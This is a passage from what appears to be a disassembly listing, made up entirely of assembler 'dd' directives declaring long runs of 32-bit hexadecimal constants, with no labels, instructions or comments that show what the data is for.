40D8E9FAh, 80BEB290h, 98E1207Eh dd 2919CC28h, 59D54DBDh, 2177602Fh, 0C9F73414h, 3109CCh dd 9E7BB38Ch, 3236C5Eh, 5A4ADC00h, 9A67541h, 3428E5B5h dd 8D015E06h, 612F4FB1h, 12453760h, 25B10FB1h, 0F9CB4070h dd 5657D9AAh, 0E31CD648h dd 4CC0CA79h, 66BEB602h, 75884CBFh, 0C9608515h, 63E9F504h dd 0CED29201h, 13409F70h, 0DCC39640h, 7D573A01h, 1CDCDDEFh dd 2C2B50FAh, 3463DB28h, 0AB0E84B6h, 65AC64F9h, 4E20B44Ah dd 69B573h, 0F3B6417Dh, 0F934CE2h, 57198B25h, 0C200E96Ch dd 0F6110EACh, 0B887AAh, 10981B28h, 0CB52CC0h, 0A1E42509h dd 0DF880B34h, 0DB603D4Dh, 10618B3h, 80D4ACB0h, 7B57E6D9h dd 978064ACh, 6A53A0A9h, 98357A00h, 5FECD01Ah, 0D920E359h dd 0AF6D4D8Dh, 1171902Eh, 0BBBF0105h, 503B9E5Dh, 0CACCA144h dd 392E2653h, 0E2F80E7Dh, 1BC22CE9h, 0EC10462h, 20ED7B90h dd 0A604E2ACh, 0D5467E64h, 0EC4DE08Ah, 0B1F0C1ACh, 2D21E0C4h dd 4D8921Dh, 7088976h, 0B72B658h, 1BD241DBh, 0B7243FBBh dd 4F208E6h, 290E813h, 4D54EA3h, 2DD88652h, 0D931809Bh dd 5F182529h, 853C3880h, 0FFFE389Ch, 0AE6ECAh, 224E067Eh dd 0EEA564E3h, 9DF54895h, 8D3E1926h, 20313BE9h, 0F6FD149h dd 6800D117h, 9F644DFCh, 484BF3BBh, 1E00CE6Eh, 0F21FB76h dd 8CA6038Dh, 0E33BCF24h, 6211176Ah, 97DA800Eh, 0ABCE165h dd 1AAA5C86h, 0DC551F53h, 462FD64Bh, 6A20F7FAh, 0C6B49F57h dd 0AA1E200h, 0CEDF62F5h, 1AE40188h, 9BC9704h, 0E2E9FABDh dd 2F869459h, 0FF7917C9h, 7E268CEBh, 0A2F84000h, 0B76AEEACh dd 5E8C3D46h, 0F198F06Bh, 0DD9E3101h, 0B1B6884h, 0EA698447h dd 12CB468Bh, 0E4F6FEBFh, 0F8ECAA96h, 0A951C196h, 0F58A1160h dd 0F09B40DAh, 25035B61h, 0FFA6EFB8h, 59ED84B0h, 5DA15F1Ch dd 0D78B5046h, 407B9C6Bh, 0F9417674h, 54A8B900h, 8AD5542h dd 0C5BF044Ah, 0C475CD59h, 0B9F2A945h, 8CC82E8h, 13E958FDh dd 0C9669680h, 387F6255h, 70009E65h, 8F3B4A3Fh, 1C090BEEh dd 91E83538h, 92F02FADh, 0ECAE020Fh, 1856411Dh, 7EA020C0h dd 8650593Ah, 760DE426h, 0D17999DBh, 1C1816h, 0F6800CFFh dd 0C185290Bh, 6A37E496h, 3ECDC0E4h, 976EBF2Ah, 7256FF12h dd 0AC66E932h, 0AEB0B809h, 5931024Fh, 114E660Ah, 1605618Dh dd 0CDC46651h, 88195188h, 7D4A9D89h, 9EE94505h, 8A0F9CD1h dd 53025532h, 1AFD9D31h, 24C658E9h, 0AD880A4Dh, 0F5363E28h dd 0BD006348h, 8058A24Bh, 0F79A22CAh, 0EB431FA2h, 89EE0C4Ah dd 0B1149F15h, 434F466h, 0A6BBC452h, 2BA0B11Bh, 0F1F48A21h dd 0B1E1D6Ah, 0C780E78Dh, 830F5090h, 0B10CDDDCh, 2B591463h dd 71D1FB8Bh, 2F1818h, 0F2E5D8CEh, 1CD9D29h, 8100CABAh dd 240F02EFh, 28E6802Fh, 95CE611Bh, 0CF081A37h, 13121193h dd 0E9120160h, 0A4C87A1h, 26E6021Fh, 5861E532h, 41E0006Dh dd 60E70Fh, 0BFF486C6h, 659B5199h, 0B5850917h, 9725AE54h dd 0AAF7C4EAh, 5FAC74B9h, 0FF7F9C00h, 0F8A97349h, 15C20E9h dd 0CF9C90ECh, 43B25012h, 0CA5D7C00h, 0A35720EFh, 2C403200h dd 319F3A35h, 0D11E9190h, 0F1D181Ah, 62F880ADh, 14B11FA0h dd 2095B5FFh, 95E9819Ch, 9055772Fh, 0D2452431h, 4A58111Ah dd 8484DF4Ah, 0AB9301FCh, 0DBDEA94Dh, 41E7207Ch, 614A2492h dd 0C07ADAEFh, 0F4B7A842h, 86EA2D80h, 15010A19h, 511FE04h dd 63D3A049h, 606D4D8h, 81B50134h, 5595B927h, 3807035h dd 62C63490h, 26C47692h, 867BC0Fh, 811F2CE9h, 0F5011C8Bh dd 19446E67h, 92805562h, 0E997C623h, 0FFF8D31Ch, 1C717C69h dd 9300D118h, 9B2E05A2h, 0A10944h, 0BB202868h, 50BA66C5h dd 35004C5Bh, 3A455FD8h, 6AEB268Ah, 0DD20C0A1h, 0A7021F97h dd 91E5C1ABh, 0A21FD84Dh, 0B307D244h, 0EA3C787Ch, 49818B4Bh dd 0DC782B85h, 48C18ECh, 4236FF46h, 0C25DBC6Fh, 0E9D59533h dd 32238B94h, 0E5B58906h, 0B39E181Eh, 0F052D013h, 0C4E063A6h dd 852789B3h, 0BF0F4039h, 30D4129Eh, 0B23EF66Ah, 0B4FA301Ah dd 0AC03B304h, 0ACAEF439h, 1CA280A4h, 0D4B221h, 4CAB04FEh dd 913F1D6Ah, 81B2CDD2h, 0B85A007Eh, 6EBC4C05h, 0F902B244h dd 0D6CA0A14h, 614F5E62h, 0A461958Bh, 0D19671C7h, 0C9088D14h dd 0B4168167h, 45F8725Dh, 9090A163h, 0A36BAE2Bh, 0D9106700h dd 9AA8CF96h, 0FD2D0490h, 51432301h, 0C00D261Fh, 34191CEFh dd 0E8ABBD10h, 0E1648DE2h, 61F50274h, 0C1540702h, 60A59D62h dd 0D73BAB59h, 0A90E2378h, 5BAA1288h, 3754FB00h, 0AC0C6633h dd 0D0A00130h, 1E42FF32h, 396E2E58h, 9F518E0Eh, 99857069h dd 0C2994429h, 0F047B608h, 9060EAC2h, 24E09992h, 1A8508F9h dd 4640B3AEh, 0F82EF93Ch, 0E8BA070Eh, 103EB4B7h, 0A2EA8166h dd 3E854351h, 81B27F13h, 0A7368C24h, 7F00CDB7h, 61ADA432h dd 2E13F0BAh, 4F2F860Fh, 750BCD20h, 1550B201h, 13413DD4h dd 8F081F7h, 2F9A6FCBh, 14C28301h, 163F3089h, 38FFCF83h dd 812F73A6h, 65E87E50h, 60CCEBD7h, 5805A0E8h, 1AC2642Bh dd 2D9C4F0h, 5A4D3882h, 3BE6F1FFh, 3C50B700h, 3A81D003h dd 18D345ECh, 0E02DB2CCh, 0E90AC610h, 31E54CD9h, 9D08893h dd 40030614h, 88EF4F3Ch, 1E3181C2h, 12627D8Bh, 5032225h dd 1C5B61F8h, 8DD1030Ch, 4D27D520h, 459008EDh, 29FA5F0Eh dd 51684CEFh, 10D18B50h, 0B0A98114h, 59B56014h, 0BFC3C033h dd 24E4EA76h, 47A1A3FCh, 78533A68h, 0AAD2A3E6h, 35304BA2h dd 0E8D38BA7h, 0B40B44h, 7A50418Fh, 0A7D9F3C3h, 5BA83575h dd 672C6E0h, 2B0D5C00h, 0E6218861h, 343B4C80h, 4FA99C03h dd 35CF5ED7h, 0C3E4816Ah, 0B0B80073h, 1CB37787h, 4A60D233h dd 20EBDD8Ah, 6661077Dh, 504E06BBh, 80163C8Bh, 8106E971h dd 2545D3F7h, 99C0C46h, 0A8165A67h, 7DE27A0Ch, 0FE0EF9h dd 0F35E4CFh, 8B57C0BFh, 638FCE2Eh, 80C1843Ah, 5C8017D8h dd 4CE86219h, 0A303510Eh, 5B18AABAh, 0B115C2E9h, 0F17881Bh dd 48DCFAE8h, 0AA641E8Ch, 0E22495B1h, 0ABF002Bh, 95F9B503h dd 0F86000BAh, 9AE55861h, 6D3A1D23h, 854800F3h, 0D88B7ED0h dd 6C4F0679h, 8677181h, 0B521E860h, 11A8B76h, 911C5953h dd 0F022E37Bh, 4B74CBA3h, 6823F000h, 0C17833DEh, 27D41DD9h dd 540873C9h, 0D60B2100h, 8881ED33h, 486300C6h, 47FBB9C7h dd 0A003832h, 24D094FDh, 7C4D064Eh, 0F68200D6h, 738C3D23h dd 0B503499Eh, 0F14825F7h, 0E1BC8E9h, 709B1930h, 0C3C16081h dd 834F2AF8h, 0EFBE7D07h, 0B790F929h, 0C7BAB56h, 13F138CBh dd 570AF020h, 20A3D55Fh, 8C2CDE78h, 0C0A6F0C8h, 0C17D33DBh dd 5022F146h, 33D30E00h, 9AFDD2A0h, 0A140C832h, 7A33DCC0h dd 22C946C1h, 12097B53h, 0C46133h, 0EA47FA92h, 0C514A81Eh dd 4094C298h, 480A4980h, 0D42018D4h, 1103F000h, 6AAA946h dd 0A2F4A104h, 3B60080Ch, 46196221h, 3427349h, 0FDA88D69h dd 500DD6E4h, 282BDE6Dh, 30181042h, 0DD118B7Bh, 0EB886779h dd 8B73B080h, 0C3A1ECh, 80222F1Bh, 0FA71E3F7h, 7985510Eh dd 0E09A8AAEh, 28F2B420h, 1F682383h, 0DA8B7C01h, 0E4185F79h dd 774B788h, 0A6799A8Bh, 0A0507C19h, 20C35674h, 0C274F0EFh dd 0A08F86h, 17E0AFA5h, 78C060Ch, 8B4044Ch, 0C2219D60h dd 6E0A7h, 6D51B949h, 4AEA750Ch, 0AA0A3C90h, 8CD14CCDh dd 257E8A04h, 0D582F00Fh, 98A7F644h, 467C4866h, 0AA4707EDh dd 0F3D7D9EAh, 0DF5B9DE1h, 6CACC5E4h, 7A9060F0h, 0A0D600E9h dd 18E9D8DAh, 9D8259E6h, 81371100h, 8270CBD8h, 6C3A8445h dd 12025F23h, 82B69476h dd 8C2A494h, 2C63DC0h, 0C15E0ADh, 1190319Ch, 0D930A5C0h dd 645F2F9h, 0CA0FE2F7h, 0F37B6946h, 524B300h, 9F3A4C48h dd 8E690065h, 2C91E08Ch, 0F08B80CBh, 0FB8B11Ah, 0A196D9CAh dd 420C4492h, 307022F6h, 135CE0ABh, 224C42D0h, 0A3C60691h dd 416CC1E0h, 13B2850Bh, 0A41280AEh, 482D30C3h, 44506032h dd 478940D9h, 0CB3E3A0Fh, 282193C4h, 7B001135h, 0A36401AEh dd 0D740FE99h, 0E4B1DA90h, 94CDD8A0h, 0E3A4FC50h, 0D2B4904h dd 3C91966Dh, 0A0F2A3FFh, 3D304B8Ch, 3540A00Fh, 10498090h dd 0C261528h, 71C89BECh, 478A81C6h, 808DA1E8h, 1CE951E9h dd 24FF65F5h, 82C79AFh, 0D6444D82h, 0AB461360h, 1114AA23h dd 1B60123Eh, 0D2C03C1Dh, 0F3F7F515h, 8F412853h, 2D612084h dd 4DDE181Bh, 0D5602330h, 0A8461001h, 5C230CAAh, 46186381h dd 9094416Fh, 266D01E5h, 19201BC7h, 3080292Bh, 0E00DEAF8h dd 30601A1Bh, 0E300E1CDh, 0A012DD7Bh, 0C22F53Eh, 0E0A83073h dd 0B40C1011h, 0C5809988h, 0C080E0A0h, 0D44D0054h, 0B1F69FB9h dd 1492FB6Dh, 571BE600h, 0A62E015Bh, 0A099FC9Ch, 415A7DACh dd 0C0F82140h, 809938B5h, 7A801911h, 6F79DC8Bh, 0B1C0C4B1h dd 0ED8B72h, 7DC118CCh, 82C59EF3h, 0A0CAF4A9h, 0BE21E4D9h dd 83D7115Bh, 8AAA4612h, 1038311Ch, 461A61h, 1E662652h dd 62E92AB4h, 0DC02182Ah, 36440CA7h, 60C1BF62h, 6A8220Bh dd 94B1B6F9h, 0B088E9B8h, 0F6629Eh, 904B899Ah, 766F7D0Bh dd 21C1D490h, 0F446A023h, 8C75F848h, 16E0AE04h, 0C338840Ch dd 83E0A600h, 0C7B1FF43h, 6365055Ah, 8C7D8A21h, 5820FD08h dd 6D0C0BDDh, 2010409Ah, 8C99F31Ch, 39189DF1h, 0C9B21606h dd 1068354Ah, 4D038C5h, 6F7A4D0Eh, 5DFE2C02h, 0E544A4C7h dd 45244D60h, 1976C30Ch, 1C71D12Dh, 0C0D6CABAh, 0B1789933h dd 6D0AE32Ah, 0E03F7BF7h, 467C7826h, 54F900EAh, 8C1663E4h dd 0DCC350BCh, 241A5223h, 0DF8B790Eh, 9C1C776Bh, 8B00B279h dd 5A430319h, 7DC981Eh, 9A9C4EB0h, 23631036h, 0F4486D89h dd 1D22324h, 0AAAF4617h, 883F1834h, 46071F64h, 95D2C853h dd 0AA16D0F0h, 0F5A824DEh, 802024FBh, 64C8C107h, 90530856h dd 0C078A7ECh, 26A21F95h, 70175601h, 1816CDE6h, 52012822h dd 8FE2314h, 8F046060h, 0A0DCAF05h, 7888CC2Ch, 25F1043Bh dd 8E63CD76h, 0C33488C8h, 6A0048Eh, 0E2079D96h, 19B60F9Eh dd 0AE471F78h, 2C4D4FB8h, 704DC439h, 0C5CAA300h, 5C1B6502h dd 0CCF047Eh, 8EABBB31h, 0C13A88DCh, 406354ADh, 32477886h dd 0DD14AEFEh, 4CB8F55Ch, 8C92E8DCh, 3A673100h, 0E64BC99Dh dd 0B21B0177h, 2473979h, 96D980F5h, 196C8FA2h, 810A24AAh dd 0E4467468h, 0D5034A3Eh, 1B0990C5h, 5CD10A0h, 1E11EC99h dd 0DB8B7D80h, 448C5779h, 7500B6E7h, 79C18A8Bh, 264DAE2Eh dd 9624651Ah, 23543A52h, 3A4F0098h, 3EBC5219h, 63A64600h dd 9996F15Ch, 0C9F4A1A5h, 756580F8h, 617919D6h, 1872684Ch dd 11E00AA9h, 70B8BC0Ch, 0E005A1C4h, 16491909h, 34DD8004h dd 9E0DB010h, 76C01266h, 90A0E7CCh, 4C5536Eh, 0C1D07B70h dd 0C8EC8EC7h, 814EC437h, 0FFACC2Ch, 0D0C09F88h, 3E74451Ch dd 0AA84C956h, 0D2DB5CD5h, 0C44DEAFCh, 37EDFE0h, 67C0AA07h dd 60914450h, 2C65083Bh, 44A0780Ah, 461660D3h, 3CAA2CAEh dd 1E6570D0h, 0AF79460Fh, 7180B047h, 0BD3570EDh, 9FC10F13h dd 0E523D43Ah, 20B1A309h, 0B5AEFBB0h, 3F3C908Fh, 2A730C3h dd 35B6B401h, 6818B39Ch, 2F314E09h, 1E62350h, 0A16E7E17h dd 8790508Eh, 5B01D5A8h, 54F7D8CEh, 41D6AF16h, 81A19554h dd 18ED7134h, 4AE2F9h, 2B417F51h, 9A3FD316h, 0F9B37738h dd 0A5FFC8C4h, 38E0D8A5h, 52645C9h, 23883AF4h, 56820092h dd 1841D6F5h, 0A03EF929h, 2781B908h, 5D91C817h, 451F880h dd 31121D2Eh, 0D812FD03h, 9823043Ah, 30262501h, 0F5FD681Ah dd 0C51089F8h, 46206CF1h, 0A86B41A0h, 0E5797CB9h, 0E041518h dd 0E264F5AAh, 48CEE495h, 55C13588h, 204299DBh, 601531D0h dd 244FAA4Ch, 66A02Ch, 0DD92461Dh, 0AA24AEC2h, 0E96808EAh dd 46742890h, 95FA0135h, 2A7A8AFEh, 0C62C198Ah, 350540C0h dd 1012B702h, 0F0D13089h, 8B039AC9h, 0D871782Bh, 12E0AA01h dd 2823A40Ch, 0E0A2C780h, 0BD000580h, 9C54C903h, 9C0F202h dd 45C3E67Ah, 0EBE42845h, 0A7F38E60h, 0C1E0801Dh, 0E49EB556h dd 2105AD84h, 901A2846h, 2CE78420h, 37042E60h, 78D7C031h dd 0F7C1CDAEh, 98E20C63h, 72991A30h, 7BC90141h, 37A16DDFh dd 0D5CBF070h, 0C1114300h, 49DAD481h, 201D5A38h, 7B06F37Ch dd 78359930h, 888AA043h, 0E200A50Bh, 0A31B34A7h, 97D0C1Eh dd 3A937004h, 9108E301h, 0AB488123h, 0F9FCC50Ah, 79E4C087h dd 1FA185BEh, 0F00B38B0h, 0B447431Eh, 0F60EC44h, 73008F15h dd 63BC249Ch, 0C0714Eh, 5962D10Dh, 0A9F545CBh, 9615B600h dd 0A0EEF998h, 5FC30971h, 0F404B3AFh, 0DA48D8A7h, 0C17C330Bh dd 809865F9h, 9833D20Fh, 0CC20CD56h, 241910B8h, 0BC360048h dd 0CA51647Ah, 47D0C0BFh, 0DDDC0A32h, 0E0F44428h, 98D1A099h dd 0ABFC6518h, 8324B000h, 2A2E776Ch, 0CA284418h, 0D230127Fh dd 8890CE20h, 7070E330h, 0AC245AA3h, 0D6082519h, 187C2C52h dd 0F20F7898h, 0FA6C1815h, 0D9D300A8h, 0A3B99FCBh, 0C8C0094Ch dd 90021307h, 220369AEh, 63E8347h, 0A1219A31h, 3828A996h dd 0E71EF669h, 0FD59BDh, 8C0A6398h, 0B22A917h, 0A064D1CEh dd 0E0567C11h, 8C03CB9Ch, 0DADC2996h, 18C1D882h, 4284125h dd 973040D0h, 2203C329h, 46003776h, 2F81A50Ch, 0ED45469h dd 0D12D1871h, 2EAAE56Eh, 0C024808Ch, 1C7A1012h, 0ADE38824h dd 0AD2D4400h, 0FDFFD718h, 29AFDDFCh, 0F042CAh, 0E708D3D1h dd 6FF68067h, 0B391D916h, 50235C3Ah, 6E403B1Dh, 18C30332h dd 2A89ED9h, 9FB1B60Fh, 8F608878h, 0F519CFE1h, 31A30F4Fh dd 0D480DE79h, 0EB58C5AAh, 0DA181C90h, 56D93219h, 6A75005Bh dd 5D0897D4h, 0DE00AA53h, 470BB43h, 33A1293Ch, 6D58FE0Fh dd 0AD856100h, 0CD8FA5A2h, 0DE5C9628h, 160502E0h, 9D10413Dh dd 0A67DD440h, 1FA1440h, 0A0ED825h, 22074773h, 0A89604E4h dd 0F61592h, 4728A7E0h, 64A0B0ECh, 0A31F684Bh, 0C10ABD2Fh dd 7B050CA0h, 34D39DBEh, 0D80182B7h, 9CFF056Ch, 9B0FEFB6h dd 90E9C07Ch, 24457A9Eh, 2D844356h, 3A910C17h, 0A6340D80h dd 0FF000B26h, 9430CF3h, 30657A6Bh, 0CA5852EAh, 0D0D3846Dh dd 26270001h, 99E3352Ch, 0E99394C1h, 0A010936Dh, 0A9E84F80h dd 60CB2C3Ch, 5316DA21h, 13E7AF3h, 816102CDh, 68C4FD0Ah dd 4B92F00h, 0D850754Ch, 4DFE2878h, 20B14FD4h, 19BEC1A0h dd 8803864Ah, 0DBB67944h, 16104E97h, 3E70CC60h, 6A713404h dd 5D8196CDh, 4980E36Dh, 1E56AF76h, 0B73934A4h, 0DAA31E14h dd 1607FC96h, 0AE118423h, 3183FF6Ch, 7B54F2BBh, 9EC3CFC8h dd 2E732D00h, 65AC20D6h, 0EBDB3EDEh, 0F27B7C01h, 2A2D38C1h dd 0E8198809h, 7FF5A850h, 0EF0C2D4h, 18F0FA75h, 502084B0h dd 30063AE6h, 6D0E1803h, 202C48E2h, 0A8241878h, 3A84015h dd 0CF43EA42h, 3ED988B8h, 0FF550C73h, 2E2147A0h, 0C2150BF4h dd 4C84CDA1h, 42EA1884h, 5EC5A850h, 0C1041C44h, 562DF749h dd 28F5C0F3h, 0E40E48BEh dd 8A85BF73h, 0D8A20574h, 0A9F18418h, 5D61E255h, 57FFDD50h dd 40CDA060h, 1025C18Bh, 7BDC0129h, 0F478D19Eh, 48A1A130h dd 24174508h, 988E8FF5h, 0DEC03F88h, 7977F1h, 0A9F8A50Ah dd 83C02C75h, 4DB661C0h, 88825EFAh, 78B0080Eh, 6CB43054h dd 6BECE054h, 0F8256000h, 47A637CDh, 0ABE2B5h, 87ED2BDh dd 4CA1FF64h, 9009ACA6h, 2B46F129h, 91209748h, 80958099h dd 0A78316Fh, 0D2336293h, 644608D0h, 79A9A001h, 0EC32A7FFh dd 0F3A4705h, 0E774CCDFh, 0D625BE00h, 715A3066h, 0F14200FAh dd 7C74ADD3h, 1D06C6F3h, 48DA46B4h, 8BF04AE9h, 0C035C878h dd 36B784C3h, 9A085E00h, 8A105D7Ch, 9848C054h, 3D271906h dd 8907105h, 0DCB0E8DDh, 0AA45190Ch, 2A42D04Fh, 5323942Fh dd 9A89C603h, 68A12D1h, 30A004BAh, 370400EBh, 1A4FA321h dd 39C02E9Dh, 53449CC7h, 6CE03B62h, 0E201C419h, 0DDA8E65Bh dd 8C73F6FCh, 80339CE2h, 4BB8F1Ah, 0BEFBBD2Ch, 0C8DCA0D1h dd 0C0014224h, 9DC6008h, 10907C8Ah, 0F471FD12h, 67BD580h dd 0F39DC3E1h, 0D1F108E2h, 94546199h, 0E8E8A819h, 83008C39h dd 0E43DAB35h, 0F03E4158h, 50035DEAh, 8621E080h, 0B23B25D2h dd 8AF3800Dh, 0C344D942h, 228D2538h, 98C5A009h, 3603AE4h dd 843FC45Ch, 5AC8017Eh, 60F5A093h, 85241478h, 25181D7Ch dd 5C64B067h, 347BA60h, 402418B1h, 0EC20211Dh, 0D4C17718h dd 0AEC18CC0h, 8BBE99C5h, 980A0F80h, 97A4BCh, 0B98F7C7Fh dd 47847A18h, 4C20F26h, 0CBB3EC00h, 0D30EF538h, 0CC880250h dd 0AC00F455h, 9260A24Dh, 80F52CE8h, 0E0849874h, 46848190h dd 33DF02A2h, 0E7D1C179h, 0D70A00E0h, 80261C33h, 47EC9205h dd 30202B32h, 45A5FF86h, 44AEAC3Ah, 189B9044h, 22EECBC1h dd 0AB8A2091h, 1645EC90h, 0B85CC4D4h, 21B46A0h, 79DE8B78h dd 60D8D97Fh, 878B70B3h, 36532902h, 74271105h, 0D802DC10h dd 0AED58263h, 1FFC64A1h, 4ECE75EDh, 0F5252AFBh, 8F589168h dd 9AD04339h, 40BC28C6h, 492465Eh, 0DCAFB298h, 0DE8004B8h dd 88E6FD02h, 7F6DA516h, 4E0AEC05h, 37B228B3h, 0B010A430h dd 0B8EE69DBh, 99E428E5h, 5A40D762h, 0C020351h, 8ABDCE98h dd 578447Bh, 2B3A2EB3h, 2A34C3BCh, 9061074h, 0FD4CDD12h dd 0D9189979h, 0BF183Eh, 25CA3FB2h, 96EAFF7Ah, 0F270A360h dd 0DF81A051h, 3CF38EA9h, 0DA7BE380h, 580F3E18h, 12BF0F2Bh dd 0A0B01858h, 6D31C088h, 65B998A5h, 5A9AC300h, 0D40F09DFh dd 12967C3Fh, 92AB64B7h, 20DACB74h, 39301B1Ch, 0AF8B3F40h dd 2518C37Bh, 78A23231h, 61079849h, 0D23EEDC2h, 23E51F10h dd 87826FAh, 19060E15h, 7C584A30h, 0EC55E0DFh, 7484B642h dd 0E013EB46h, 5F705A0h, 0E7480C1h, 68909A4Dh, 48E4F608h dd 0CCB7A59Dh, 887D0E00h, 18CE2DBh, 7E6A156Fh, 0A6E1967Bh dd 467494D9h, 0BAB3125Dh, 44027004h, 0B228E225h, 0F8DF3139h dd 5F09E81Dh, 486D4F17h, 0F378B0h, 80218DA2h, 0BCEEEDCCh dd 560BD39h, 798A3C10h, 0C3453402h, 105B095Ch, 12298978h dd 29C71767h, 86A3AD8h, 13736A01h, 0F4270704h, 0AA02D1A3h dd 0A896810Eh, 0E2EC8297h, 28B50053h, 0F1C0F76Dh, 0ACFEE4F9h dd 80070170h, 0C37991E5h, 2173D14Ah, 3EB5C9C8h, 0E0007C6Eh dd 892E133Eh, 4D02C177h, 5620FDDCh, 0C1CCE329h, 0CB025A6Eh dd 0B71D6C52h, 1025EF86h, 3A686B30h, 0CD807C4Eh, 20D5FF07h dd 1F00A8A1h, 0D7180B77h, 69474290h, 1D0108B4h, 3DA173ABh dd 8D5E031Ch, 0DFF1AA68h, 0C12062AEh, 92A0AEA8h, 6E4FFC07h dd 14C45239h, 0F027718Ah, 9451F780h, 0ED72FF7Bh, 8B29C00h dd 8FEE8E75h, 0C51212F6h, 15A4C14Ch, 3386919h, 520AF71Eh dd 9911E84Ah, 220F00DDh, 15E190A0h, 0C99A6FFh, 9C386109h dd 78449B04h, 0BAA0A756h, 4202C9D5h, 851DCBDDh, 796C5991h dd 50FC1939h, 0FCBF01B8h, 650C0203h, 30C4398Eh, 9AC87947h dd 3F826h, 0E0B2B637h, 1A68FD79h, 0E4E7E90Bh, 47089ACDh dd 609EE424h, 2C380Bh, 0F4FE29DFh, 9C31F3F5h, 8669E502h dd 0E4679A6Dh, 30284870h, 7A88E058h, 0C508A0A4h, 9E173B24h dd 0A1BC8035h, 9D9DF0B9h, 80919124h, 0D5863A7Ch, 0A27882h dd 0F0944413h, 31845967h, 0B558CB04h, 0D8C332B4h, 0DD4BA0BCh dd 4CCA0073h, 7EC817F0h, 2700C0D5h, 32948559h, 0B4184449h dd 21E1079Dh, 20843E48h, 6270B410h, 18381B19h, 21A06029h dd 0AD103118h, 0D0F4B549h, 56E86CCBh, 0F06EAF04h, 0F0F988A8h dd 0F4134DB8h, 0FC93ACFFh, 52F28247h, 25D9786Ch, 382E3Ah dd 3094EDA6h, 25E467Ch, 197632C3h, 104C4829h, 0AEFC24h dd 0A75828C7h, 7BE5E8D5h, 855461F2h, 0C28895E8h, 5B97006Ah dd 22643B84h, 4A00E9C3h, 0F1785941h, 5873E481h, 4881B09Eh dd 356D748Ah, 506E2B44h, 0C72CFA0Ah, 4F8A40ACh, 1012C1F9h dd 0F04A034Dh, 0B7253896h, 64580E44h, 21206EC0h, 0DC08CBC6h dd 16F4B8DDh, 4D20080Ch, 9E14A817h, 1C3A4B84h, 13009F23h dd 0F5C6D5AAh, 2CEA9Bh, 25375BF7h, 23F18549h, 7E78509Bh dd 72E802EEh, 91106138h, 0A003F0F8h, 0C40C95A9h, 0A5582307h dd 0C138D818h, 442CA4E9h, 0D0000D51h, 9574AC33h, 4FB776F4h dd 0D9A8406Dh, 8CC6D480h, 6700A5E2h, 32FC7D46h, 7799A10h dd 19C07159h, 176A9077h, 0EC99457Ah, 7B13EC26h, 9F1DC804h dd 0DD30A022h, 0C17B3833h, 948BDBh, 3733D508h, 603EB3ABh dd 0E583E262h, 0BCCB30C3h, 789C5B42h, 0BE10FB4Dh, 6C489E55h dd 537FD10h, 96C1A67Bh, 5588208Fh, 9C15E6C0h, 0FC031EA6h dd 0A58301E4h, 3FAE450Ch, 0CEAA4401h, 3B6AF041h, 39C23C8h dd 0B152EBFAh, 400CCAE1h, 5A650E8Bh, 0F8E44E5Ch, 0E2028C36h dd 1938C14Dh, 7384802Fh, 0BE34CE1h, 0B33CEC71h, 960F4E0h dd 0A518AA1Ch, 7DD068A5h, 0DA6F0072h, 52E52B97h, 0A4901727h dd 86E7620h, 4A9ACDAEh, 11109749h, 4F9E809Dh, 1A24C05Ah dd 799B760Ch, 0DC907Ch, 0AC3173A6h, 0B2AF8FC1h, 0D1299EE8h dd 7B01F897h, 5D30B7FDh, 3A6A42D9h, 7EB234Ch, 10935B7Dh dd 0CF5DF7DBh, 0D24AB479h, 0AB981C00h, 0A7B2F30h, 390910B7h dd 0BC9725B8h, 4B80ED91h, 333F11A8h, 69DAE902h, 50B5C160h dd 0DE732438h, 3E00DE30h, 369AB775h, 0AC1647C4h, 980C4C88h dd 2CE5AC10h, 0ED04007Dh, 4323F797h, 0F34500A4h, 40CA77B8h dd 9916235Ch, 0C80E8E8Dh, 0CDAC4371h, 6018903Fh, 0F26E0A1h dd 46ABD93Ch, 75A2D523h, 9848F4DDh, 3D08E107h, 0E0A01C4Dh dd 0E7D957h, 3EBC11E9h, 2CAF91A9h, 80E791Ch, 842428E4h dd 465EB82Eh, 5A1E015Dh, 0FDDC0A0Eh, 2A788472h, 0AE02A6Dh dd 188DF745h, 0F5D00884h, 0E24DB407h, 1C0920DDh, 206E2Fh dd 0EA1FAC17h, 90091B14h, 82A04A37h, 28009AE8h, 69C67D84h dd 9884704Ch, 89864F83h, 4208603Ah, 0ED3812CBh, 0F230003Ch dd 0F0F7CC2Ch, 467674BCh, 59B81390h, 0C31A9012h, 0A0B03788h dd 104369F5h, 4680E0B7h, 3B3D5442h, 81F7F98h, 0D0E0CD22h dd 0FE4D0E02h, 0C3E4076Dh, 0B4E4D614h, 7AEE4814h, 6C17D903h dd 0B8B7D1D7h, 0B989A80Ch, 1899D1E8h, 24B600E5h, 5E129EDAh dd 80C45DA7h, 0E71279E6h, 0B89A5AA8h, 4411A180h, 0C1009406h dd 15B97508h, 2D6254Fh, 0D873B3C8h, 868FC6Dh, 5E0036B4h dd 0C9397B28h, 13B81DDBh dd 12AFA355h, 0E0E8E694h, 4F0A3Ah, 0B9557582h, 9015ED7Dh dd 4C31FDF4h, 0FE6DD8DAh, 1B68192h, 0FB770F91h, 0D094F83Ch dd 13496004h, 44E4A1CDh, 4D070026h, 21CAC3C5h, 6B00DF2Ch dd 89C06FF3h, 12E41777h, 9144A1FFh, 14F60F90h, 6686D8D2h dd 4BC9F0D4h, 8FF0D1ABh, 2B3F096Eh, 1CEC2338h, 974EC06Dh dd 461DF4A6h, 0E3733609h, 110C1D4Dh, 0E5B6839Fh, 41E3D047h dd 4A7376BBh, 0D8F42206h, 0A8058474h, 8CB810F5h, 0E1BBA287h dd 8B494166h, 0D11FDA10h, 0EA340EBCh, 80616FA5h, 0E2657AB0h dd 0C5140099h, 60E32C50h, 7DC5FF1Eh, 7CA207AEh, 17120D10h dd 0C43AF20Fh, 0A5005E23h, 0AE7928D2h, 3809BF59h, 27D3002h dd 0CD2CF101h, 0DA844109h, 4A49006Eh, 0C9F9616Ch, 0E4111E90h dd 0A00A8E45h, 887301E5h, 0E47865A5h, 72D8603Bh, 0A0527459h dd 94C2B8A8h, 5D1288E4h, 7C0DD424h, 7C2318EAh, 0F8339DA2h dd 589EC26Bh, 0F230047Dh, 89D7CA59h, 90A028C9h, 471D830h dd 0FBC8C1CEh, 0F2C4A225h, 9D44305Dh, 2C013E7Fh, 9896C246h dd 302F8611h, 1186B80h, 6016D4BAh, 98001A73h, 0C18A2943h dd 8F78BECBh, 3A05541h, 5BFF0925h, 0AF58D8F0h, 83286990h dd 0F441DD0h, 0FA7BD510h, 620484EBh, 1064B96Fh, 0E10BFCE0h dd 24D2160Fh, 0F1044737h, 979CFF80h, 67928E1h, 95F30310h dd 